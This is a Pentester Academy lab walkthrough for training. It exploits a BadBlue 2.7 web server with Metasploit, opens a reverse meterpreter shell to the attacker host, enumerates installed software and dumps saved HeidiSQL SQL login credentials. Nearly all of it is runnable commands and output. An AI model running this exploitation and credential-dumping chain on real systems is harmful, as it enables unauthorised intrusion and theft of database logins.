
ATTACK
DEFENSE
by PentesterAcademy

| Name | Windows: Stored SQL Login Extracting |
|---|---|
| URL | https://attackdefense.com/challengedetails?cid=2377 |
| Type | Post Exploitation: With Metasploit |

**Important Note:** This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

**Step 1:** Checking target IP address.

**Note:** The target IP address is stored in the “target” file.

**Command:** cat /root/Desktop/target

```
root@attackdefense:~# cat /root/Desktop/target
Target IP Address : 10.0.30.106
root@attackdefense:~#
```

**Step 2:** Run a Nmap scan against the target IP.

**Command:** nmap 10.0.30.106

```
root@attackdefense:~# nmap 10.0.30.106
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-10 17:47 IST
Nmap scan report for 10.0.30.106
Host is up (0.060s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 2.46 seconds
root@attackdefense:~#
```

**Step 3:** We have discovered that multiple ports are open. We will run nmap again to determine version information on port 80.

**Command:** nmap -sV -p 80 10.0.30.106

```
root@attackdefense:~# nmap -sV -p 80 10.0.30.106
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-10 17:47 IST
Nmap scan report for 10.0.30.106
Host is up (0.058s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    BadBlue httpd 2.7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results
Nmap done: 1 IP address (1 host up) scanned in 7.70 seconds
root@attackdefense:~#
```

**Step 4:** We will search the exploit module for badblue 2.7 using searchsploit.

**Command:** searchsploit badblue

```
root@attackdefense:~# searchsploit badblue
------------------------------------------------------------------------
 Exploit Title
------------------------------------------------------------------------
BadBlue 2.5 - 'ext.dll' Remote Buffer Overflow (Metasploit)
BadBlue 2.5 - Easy File Sharing Remote Buffer Overflow
BadBlue 2.52 Web Server - Multiple Connections Denial of Service
BadBlue 2.55 - Web Server Remote Buffer Overflow
BadBlue 2.72 - PassThru Remote Buffer Overflow
BadBlue 2.72b - Multiple Vulnerabilities
BadBlue 2.72b - PassThru Buffer Overflow (Metasploit)
Working Resources 1.7.3 BadBlue - Null Byte File Disclosure
```

**Step 5:** There is a Metasploit module for the badblue server. We will use the Metasploit module to exploit the target.

**Commands:**
msfconsole -q
use exploit/windows/http/badblue_passthru
set RHOSTS 10.0.30.106
exploit

```
root@attackdefense:~# msfconsole -q
msf6 > use exploit/windows/http/badblue_passthru
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/badblue_passthru) > set RHOSTS 10.0.30.106
RHOSTS => 10.0.30.106
msf6 exploit(windows/http/badblue_passthru) > exploit

[*] Started reverse TCP handler on 10.10.15.2:4444
[*] Trying target BadBlue EE 2.7 Universal...
[*] Sending stage (175174 bytes) to 10.0.30.106
[*] Meterpreter session 1 opened (10.10.15.2:4444 -> 10.0.30.106:49882) at

meterpreter >
```

We have successfully exploited a badblue server.

**Step 6:** Migrate current process into explorer.exe

**Command:** migrate -N explorer.exe

```
meterpreter > migrate -N explorer.exe
[*] Migrating from 5076 to 3452...
[*] Migration completed successfully.
meterpreter >
```

**Step 7:** Switch the current directory to the administrator's Desktop and check all available shortcuts.

**Commands:** pwd
cd C:\\Users\\Administrator\\Desktop
ls

```
meterpreter > pwd
C:\Windows\system32
meterpreter > cd C:\\Users\\Administrator\\Desktop
meterpreter > ls
Listing: C:\Users\Administrator\Desktop
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  1107  fil   2021-06-10 16:29:18 +0530  BadBlue Enterprise Edition.lnk
100666/rw-rw-rw-  853   fil   2021-06-10 16:26:59 +0530  HeidiSQL.lnk
100666/rw-rw-rw-  282   fil   2020-11-07 12:52:42 +0530  desktop.ini

meterpreter >
```

We can observe that the HeidiSQL client shortcut icon is present on the Administrator's Desktop machine and hence we can assume that HeidiSQL is installed on the target machine. Also, there is a metasploit module for enumerating all the installed applications on the target machine (post/windows/gather/enum_applications) using this module also we can confirm installed applications.

**Step 8:** Verifying all the installed applications on the target machine.

**Commands:** background
use post/windows/gather/enum_applications
set SESSION 1
exploit

```
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/http/badblue_passthru) >
msf6 exploit(windows/http/badblue_passthru) > use post/windows/gather/enum_applications
msf6 post(windows/gather/enum_applications) >
msf6 post(windows/gather/enum_applications) > set SESSION 1
SESSION => 1
msf6 post(windows/gather/enum_applications) >
msf6 post(windows/gather/enum_applications) > exploit

[*] Enumerating applications installed on ATTACKDEFENSE

Installed Applications
======================

 Name                                                    Version
 ----                                                    -------
 AWS PV Drivers                                          8.3.4
 AWS Tools for Windows                                   3.15.1110
 Amazon SSM Agent                                        2.3.1319.0
 Amazon SSM Agent                                        2.3.1319.0
 BadBlue Enterprise Edition 2.72                         2.72
 HeidiSQL 11.3.0.6295                                    11.3
 Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.28.29914  14.28.29914.0
 Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29914      14.28.29914
 Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29914         14.28.29914
 Mozilla Firefox 89.0 (x64 en-US)                        89.0
 Mozilla Maintenance Service                             82.0.2
 aws-cfn-bootstrap                                       1.4.33


[+] Results stored in: /root/.msf4/loot/20211207111818_default_10.0.17.48_host.application_390218.txt
[*] Post module execution completed
msf6 post(windows/gather/enum_applications) > _
```

We found all the installed applications on the target windows machine, including HeidiSQL.

We will run the HeidiSQL credentials gathering module to dump all saved SQL login.

**Step 9:** Run HeidiSQL credential dump post exploit module.

**Commands:** background
use post/windows/gather/credentials/heidisql
set SESSION 1
exploit

```
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/http/badblue_passthru) > use post/windows/gather/credentials/heidisql
msf6 post(windows/gather/credentials/heidisql) > set SESSION 1
SESSION => 1
msf6 post(windows/gather/credentials/heidisql) > exploit

[*] 10.0.30.106:49882 - Looking at Key HKU\S-1-5-21-3688751335-3073641799-161370460-1008
[*] 10.0.30.106:49882 - HeidiSQL not installed for this user.
[*] 10.0.30.106:49882 - Looking at Key HKU\S-1-5-21-3688751335-3073641799-161370460-500
[+] 10.0.30.106:49882 - Service: mssql Host: 74.54.11.0 Port: 1433 User: sa  Password: Str0ngPassword123321
[*] Post module execution completed
msf6 post(windows/gather/credentials/heidisql) >
```

We can notice, that we have discovered one login for host 74.54.11.0 i.e **User**: sa and **Password**: Str0ngPassword123321

**Flag:** Str0ngPassword123321

**References**

1. BadBlue 2.72b - Multiple Vulnerabilities (https://www.exploit-db.com/exploits/4715)
2. Metasploit Module (https://www.rapid7.com/db/modules/exploit/windows/http/badblue_passthru)
3. Windows Gather HeidiSQL Saved Password Extraction (https://www.rapid7.com/db/modules/post/windows/gather/credentials/heidisql)